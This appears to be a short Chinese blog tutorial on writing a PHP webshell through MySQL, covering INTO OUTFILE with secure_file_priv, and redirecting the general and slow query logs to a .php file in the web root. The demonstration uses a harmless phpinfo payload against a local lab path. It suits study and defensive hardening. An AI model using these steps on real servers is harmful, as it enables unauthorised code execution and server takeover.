0%

mysql写shell

0x00 secure_file_priv

mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,且为只读变量,无法通过语句修改,只能通过修改配置文件进行修改

我这里使用的是mysql5.5.53版本

利用条件

  • mysql 中的secure_file_priv值不为NULL
  • 存在拥有写权限用户
  • 知道网站绝对路径

利用步骤

查看secure_file_priv是否为NULL

1
SHOW VARIABLES LIKE "secure_file_priv";

不为NULL,可以写shell

1
2
mysql> select "<?php phpinfo();?>" into outfile 'G:/phpStudy20161103/WWW/shell/priv.php';
Query OK, 1 row affected (0.00 sec)

看看WWW/shell目录

0x01日志写shell

查看配置

1
show variables like '%general%';

更改配置

1
2
set global general_log = on;
set global general_log_file = 'G:/phpStudy20161103/WWW/shell/log.php';

写shell

1
select "<?php phpinfo();?>";

看下shell是否写成功

0x02 慢查询写shell

通过开启慢查询日志,配置可解析文件Getshell

当运行时间超过long_query_time的值的语句,则会记录到慢查询日志中

查看配置

1
show variables like '%slow%';

更改配置

1
2
set GLOBAL slow_query_log_file='G:/phpStudy20161103/WWW/shell/slow.php';
set GLOBAL slow_query_log=on;

写shell

1
select '<?php phpinfo();?>' from mysql.db where sleep(10);